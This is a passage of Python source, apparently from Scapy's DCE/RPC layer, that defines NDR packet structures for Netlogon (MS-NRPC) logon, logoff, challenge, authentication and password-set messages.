NDRLongField(\"RequestOptions\", 0),\n        NDRIntField(\"ServiceTicketLength\", None, size_of=\"ServiceTicket\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"ServiceTicket\", \"\", size_is=lambda pkt: pkt.ServiceTicketLength\n            )\n        ),\n        NDRIntField(\"AdditionalTicketLength\", None, size_of=\"AdditionalTicket\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"AdditionalTicket\", \"\", size_is=lambda pkt: pkt.AdditionalTicketLength\n            )\n        ),\n    ]\n\n\nclass NETLOGON_VALIDATION_INFO_CLASS(IntEnum):\n    NetlogonValidationUasInfo = 1\n    NetlogonValidationSamInfo = 2\n    NetlogonValidationSamInfo2 = 3\n    NetlogonValidationGenericInfo = 4\n    NetlogonValidationGenericInfo2 = 5\n    NetlogonValidationSamInfo4 = 6\n    NetlogonValidationTicketLogon = 7\n\n\nclass PGROUP_MEMBERSHIP(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"RelativeId\", 0), NDRIntField(\"Attributes\", 0)]\n\n\nclass USER_SESSION_KEY(NDRPacket):\n    fields_desc = [\n        PacketListField(\n            \"data\", [CYPHER_BLOCK()] * 2, CYPHER_BLOCK, count_from=lambda _: 2\n        )\n    ]\n\n\nclass RPC_SID_IDENTIFIER_AUTHORITY(NDRPacket):\n    fields_desc = [StrFixedLenField(\"Value\", \"\", length=6)]\n\n\nclass PRPC_SID(NDRPacket):\n    DEPORTED_CONFORMANTS = [\"SubAuthority\"]\n    fields_desc = [\n        NDRByteField(\"Revision\", 0),\n        NDRByteField(\"SubAuthorityCount\", None, size_of=\"SubAuthority\"),\n        NDRPacketField(\n            \"IdentifierAuthority\",\n            RPC_SID_IDENTIFIER_AUTHORITY(),\n            RPC_SID_IDENTIFIER_AUTHORITY,\n        ),\n        NDRConfFieldListField(\n            \"SubAuthority\",\n            [],\n            NDRIntField(\"\", 0),\n            size_is=lambda pkt: pkt.SubAuthorityCount,\n            conformant_in_struct=True,\n        ),\n    ]\n\n\nclass PNETLOGON_VALIDATION_SAM_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"LogonTime\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"LogoffTime\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"KickOffTime\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"PasswordLastSet\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"PasswordCanChange\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"PasswordMustChange\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"EffectiveName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"FullName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"LogonScript\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"ProfilePath\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"HomeDirectory\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"HomeDirectoryDrive\", UNICODE_STRING(), UNICODE_STRING),\n        NDRShortField(\"LogonCount\", 0),\n        NDRShortField(\"BadPasswordCount\", 0),\n        NDRIntField(\"UserId\", 0),\n        NDRIntField(\"PrimaryGroupId\", 0),\n        NDRIntField(\"GroupCount\", None, size_of=\"GroupIds\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"GroupIds\", [], PGROUP_MEMBERSHIP, size_is=lambda pkt: pkt.GroupCount\n            )\n        ),\n        NDRIntField(\"UserFlags\", 0),\n        NDRPacketField(\"UserSessionKey\", USER_SESSION_KEY(), USER_SESSION_KEY),\n        NDRPacketField(\"LogonServer\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"LogonDomainName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRFullEmbPointerField(NDRPacketField(\"LogonDomainId\", PRPC_SID(), PRPC_SID)),\n        NDRFieldListField(\n            \"ExpansionRoom\", [0] * 10, NDRIntField(\"\", 0), length_is=lambda _: 10\n        ),\n    ]\n\n\nclass PNETLOGON_SID_AND_ATTRIBUTES(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRPacketField(\"Sid\", PRPC_SID(), PRPC_SID)),\n        NDRIntField(\"Attributes\", 0),\n    ]\n\n\nclass PNETLOGON_VALIDATION_SAM_INFO2(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"LogonTime\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"LogoffTime\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"KickOffTime\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"PasswordLastSet\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"PasswordCanChange\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"PasswordMustChange\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"EffectiveName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"FullName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"LogonScript\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"ProfilePath\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"HomeDirectory\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"HomeDirectoryDrive\", UNICODE_STRING(), UNICODE_STRING),\n        NDRShortField(\"LogonCount\", 0),\n        NDRShortField(\"BadPasswordCount\", 0),\n        NDRIntField(\"UserId\", 0),\n        NDRIntField(\"PrimaryGroupId\", 0),\n        NDRIntField(\"GroupCount\", None, size_of=\"GroupIds\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"GroupIds\", [], PGROUP_MEMBERSHIP, size_is=lambda pkt: pkt.GroupCount\n            )\n        ),\n        NDRIntField(\"UserFlags\", 0),\n        NDRPacketField(\"UserSessionKey\", USER_SESSION_KEY(), USER_SESSION_KEY),\n        NDRPacketField(\"LogonServer\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"LogonDomainName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRFullEmbPointerField(NDRPacketField(\"LogonDomainId\", PRPC_SID(), PRPC_SID)),\n        NDRFieldListField(\n            \"ExpansionRoom\", [0] * 10, NDRIntField(\"\", 0), length_is=lambda _: 10\n        ),\n        NDRIntField(\"SidCount\", None, size_of=\"ExtraSids\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"ExtraSids\",\n                [],\n                PNETLOGON_SID_AND_ATTRIBUTES,\n                size_is=lambda pkt: pkt.SidCount,\n            )\n        ),\n    ]\n\n\nclass PNETLOGON_VALIDATION_GENERIC_INFO2(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"DataLength\", None, size_of=\"ValidationData\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\"ValidationData\", \"\", size_is=lambda pkt: pkt.DataLength)\n        ),\n    ]\n\n\nclass PNETLOGON_VALIDATION_SAM_INFO4(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"LogonTime\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"LogoffTime\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"KickOffTime\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"PasswordLastSet\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"PasswordCanChange\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"PasswordMustChange\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"EffectiveName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"FullName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"LogonScript\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"ProfilePath\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"HomeDirectory\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"HomeDirectoryDrive\", UNICODE_STRING(), UNICODE_STRING),\n        NDRShortField(\"LogonCount\", 0),\n        NDRShortField(\"BadPasswordCount\", 0),\n        NDRIntField(\"UserId\", 0),\n        NDRIntField(\"PrimaryGroupId\", 0),\n        NDRIntField(\"GroupCount\", None, size_of=\"GroupIds\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"GroupIds\", [], PGROUP_MEMBERSHIP, size_is=lambda pkt: pkt.GroupCount\n            )\n        ),\n        NDRIntField(\"UserFlags\", 0),\n        NDRPacketField(\"UserSessionKey\", USER_SESSION_KEY(), USER_SESSION_KEY),\n        NDRPacketField(\"LogonServer\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"LogonDomainName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRFullEmbPointerField(NDRPacketField(\"LogonDomainId\", PRPC_SID(), PRPC_SID)),\n        StrFixedLenField(\"LMKey\", \"\", length=8),\n        NDRIntField(\"UserAccountControl\", 0),\n        NDRIntField(\"SubAuthStatus\", 0),\n        NDRPacketField(\"LastSuccessfulILogon\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"LastFailedILogon\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRIntField(\"FailedILogonCount\", 0),\n        NDRFieldListField(\n            \"Reserved4\", [0] * 1, NDRIntField(\"\", 0), length_is=lambda _: 1\n        ),\n        NDRIntField(\"SidCount\", None, size_of=\"ExtraSids\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"ExtraSids\",\n                [],\n                PNETLOGON_SID_AND_ATTRIBUTES,\n                size_is=lambda pkt: pkt.SidCount,\n            )\n        ),\n        NDRPacketField(\"DnsLogonDomainName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"Upn\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"ExpansionString1\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"ExpansionString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"ExpansionString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"ExpansionString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"ExpansionString5\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"ExpansionString6\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"ExpansionString7\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"ExpansionString8\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"ExpansionString9\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"ExpansionString10\", UNICODE_STRING(), UNICODE_STRING),\n    ]\n\n\nclass PNETLOGON_VALIDATION_TICKET_LOGON(NDRPacket):\n    ALIGNMENT = (8, 8)\n    fields_desc = [\n        NDRLongField(\"Results\", 0),\n        NDRSignedIntField(\"KerberosStatus\", 0),\n        NDRSignedIntField(\"NetlogonStatus\", 0),\n        NDRPacketField(\"SourceOfStatus\", UNICODE_STRING(), UNICODE_STRING),\n        NDRFullEmbPointerField(\n            NDRPacketField(\n                \"UserInformation\",\n                PNETLOGON_VALIDATION_SAM_INFO4(),\n                PNETLOGON_VALIDATION_SAM_INFO4,\n            )\n        ),\n        NDRFullEmbPointerField(\n            NDRPacketField(\n                \"DeviceInformation\",\n                PNETLOGON_VALIDATION_SAM_INFO4(),\n                PNETLOGON_VALIDATION_SAM_INFO4,\n            )\n        ),\n        NDRIntField(\"UserClaimsLength\", None, size_of=\"UserClaims\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"UserClaims\", \"\", size_is=lambda pkt: pkt.UserClaimsLength\n            )\n        ),\n        NDRIntField(\"DeviceClaimsLength\", None, size_of=\"DeviceClaims\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"DeviceClaims\", \"\", size_is=lambda pkt: pkt.DeviceClaimsLength\n            )\n        ),\n    ]\n\n\nclass NetrLogonSamLogon_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"LogonServer\", \"\")),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\")),\n        NDRFullPointerField(\n            NDRPacketField(\n                \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n            )\n        ),\n        NDRFullPointerField(\n            NDRPacketField(\n                \"ReturnAuthenticator\",\n                PNETLOGON_AUTHENTICATOR(),\n                PNETLOGON_AUTHENTICATOR,\n            )\n        ),\n        NDRInt3264EnumField(\"LogonLevel\", 0, NETLOGON_LOGON_INFO_CLASS),\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_INTERACTIVE_INFO(),\n                            PNETLOGON_INTERACTIVE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_INTERACTIVE_INFO(),\n                            PNETLOGON_INTERACTIVE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveTransitiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveTransitiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_SERVICE_INFO(),\n                            PNETLOGON_SERVICE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_SERVICE_INFO(),\n                            PNETLOGON_SERVICE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceTransitiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceTransitiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_NETWORK_INFO(),\n                            PNETLOGON_NETWORK_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_NETWORK_INFO(),\n                            PNETLOGON_NETWORK_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_GENERIC_INFO(),\n                            PNETLOGON_GENERIC_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonGenericInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonGenericInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_TICKET_LOGON_INFO(),\n                            PNETLOGON_TICKET_LOGON_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonTicketLogonInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonTicketLogonInformation\n                        ),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"LogonInformation\", \"\", length=0),\n            align=(2, 8),\n            switch_fmt=(\"H\", \"I\"),\n        ),\n        NDRInt3264EnumField(\"ValidationLevel\", 0, NETLOGON_VALIDATION_INFO_CLASS),\n    ]\n\n\nclass NetrLogonSamLogon_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(\n            NDRPacketField(\n                \"ReturnAuthenticator\",\n                PNETLOGON_AUTHENTICATOR(),\n                PNETLOGON_AUTHENTICATOR,\n            )\n        ),\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"ValidationInformation\",\n                            PNETLOGON_VALIDATION_SAM_INFO(),\n                            PNETLOGON_VALIDATION_SAM_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ValidationLevel\", None)\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"ValidationInformation\",\n                            PNETLOGON_VALIDATION_SAM_INFO2(),\n                            PNETLOGON_VALIDATION_SAM_INFO2,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ValidationLevel\", None)\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo2\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo2\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"ValidationInformation\",\n                            PNETLOGON_VALIDATION_GENERIC_INFO2(),\n                            PNETLOGON_VALIDATION_GENERIC_INFO2,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ValidationLevel\", None)\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationGenericInfo2\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationGenericInfo2\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"ValidationInformation\",\n                            PNETLOGON_VALIDATION_SAM_INFO4(),\n                            PNETLOGON_VALIDATION_SAM_INFO4,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ValidationLevel\", None)\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"ValidationInformation\",\n                            PNETLOGON_VALIDATION_TICKET_LOGON(),\n                            PNETLOGON_VALIDATION_TICKET_LOGON,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"ValidationLevel\", None)\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationTicketLogon\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationTicketLogon\n                        ),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"ValidationInformation\", \"\", length=0),\n            align=(2, 8),\n            switch_fmt=(\"H\", \"I\"),\n        ),\n        NDRByteField(\"Authoritative\", 0),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NetrLogonSamLogoff_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"LogonServer\", \"\")),\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\")),\n        NDRFullPointerField(\n            NDRPacketField(\n                \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n            )\n        ),\n        NDRFullPointerField(\n            NDRPacketField(\n                \"ReturnAuthenticator\",\n                PNETLOGON_AUTHENTICATOR(),\n                PNETLOGON_AUTHENTICATOR,\n            )\n        ),\n        NDRInt3264EnumField(\"LogonLevel\", 0, NETLOGON_LOGON_INFO_CLASS),\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_INTERACTIVE_INFO(),\n                            PNETLOGON_INTERACTIVE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_INTERACTIVE_INFO(),\n                            PNETLOGON_INTERACTIVE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveTransitiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveTransitiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_SERVICE_INFO(),\n                            PNETLOGON_SERVICE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_SERVICE_INFO(),\n                            PNETLOGON_SERVICE_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceTransitiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonServiceTransitiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_NETWORK_INFO(),\n                            PNETLOGON_NETWORK_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_NETWORK_INFO(),\n                            PNETLOGON_NETWORK_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_GENERIC_INFO(),\n                            PNETLOGON_GENERIC_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonGenericInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonGenericInformation\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"LogonInformation\",\n                            PNETLOGON_TICKET_LOGON_INFO(),\n                            PNETLOGON_TICKET_LOGON_INFO,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"LogonLevel\", None)\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonTicketLogonInformation\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_LOGON_INFO_CLASS.NetlogonTicketLogonInformation\n                        ),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"LogonInformation\", \"\", length=0),\n            align=(2, 8),\n            switch_fmt=(\"H\", \"I\"),\n        ),\n    ]\n\n\nclass NetrLogonSamLogoff_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(\n            NDRPacketField(\n                \"ReturnAuthenticator\",\n                PNETLOGON_AUTHENTICATOR(),\n                PNETLOGON_AUTHENTICATOR,\n            )\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass PNETLOGON_CREDENTIAL(NDRPacket):\n    fields_desc = [StrFixedLenField(\"data\", \"\", length=8)]\n\n\nclass NetrServerReqChallenge_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\"ClientChallenge\", PNETLOGON_CREDENTIAL(), PNETLOGON_CREDENTIAL),\n    ]\n\n\nclass NetrServerReqChallenge_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"ServerChallenge\", PNETLOGON_CREDENTIAL(), PNETLOGON_CREDENTIAL),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass NETLOGON_SECURE_CHANNEL_TYPE(IntEnum):\n    NullSecureChannel = 0\n    MsvApSecureChannel = 1\n    WorkstationSecureChannel = 2\n    TrustedDnsDomainSecureChannel = 3\n    TrustedDomainSecureChannel = 4\n    UasServerSecureChannel = 5\n    ServerSecureChannel = 6\n    CdcServerSecureChannel = 7\n\n\nclass NetrServerAuthenticate_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"AccountName\", \"\"),\n        NDRInt3264EnumField(\"SecureChannelType\", 0, NETLOGON_SECURE_CHANNEL_TYPE),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"ClientCredential\", PNETLOGON_CREDENTIAL(), PNETLOGON_CREDENTIAL\n        ),\n    ]\n\n\nclass NetrServerAuthenticate_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ServerCredential\", PNETLOGON_CREDENTIAL(), PNETLOGON_CREDENTIAL\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass PENCRYPTED_NT_OWF_PASSWORD(NDRPacket):\n    fields_desc = [\n        PacketListField(\n            \"data\", [CYPHER_BLOCK()] * 2, CYPHER_BLOCK, count_from=lambda _: 2\n        )\n    ]\n\n\nclass NetrServerPasswordSet_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"PrimaryName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"AccountName\", \"\"),\n        NDRInt3264EnumField(\"SecureChannelType\", 0, NETLOGON_SECURE_CHANNEL_TYPE),\n        NDRConfVarStrNullFieldUtf16(\"ComputerName\", \"\"),\n        NDRPacketField(\n            \"Authenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        NDRPacketField(\n            \"UasNewPassword\", PENCRYPTED_NT_OWF_PASSWORD(), PENCRYPTED_NT_OWF_PASSWORD\n        ),\n    ]\n\n\nclass NetrServerPasswordSet_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"ReturnAuthenticator\", PNETLOGON_AUTHENTICATOR(), PNETLOGON_AUTHENTICATOR\n        ),\n        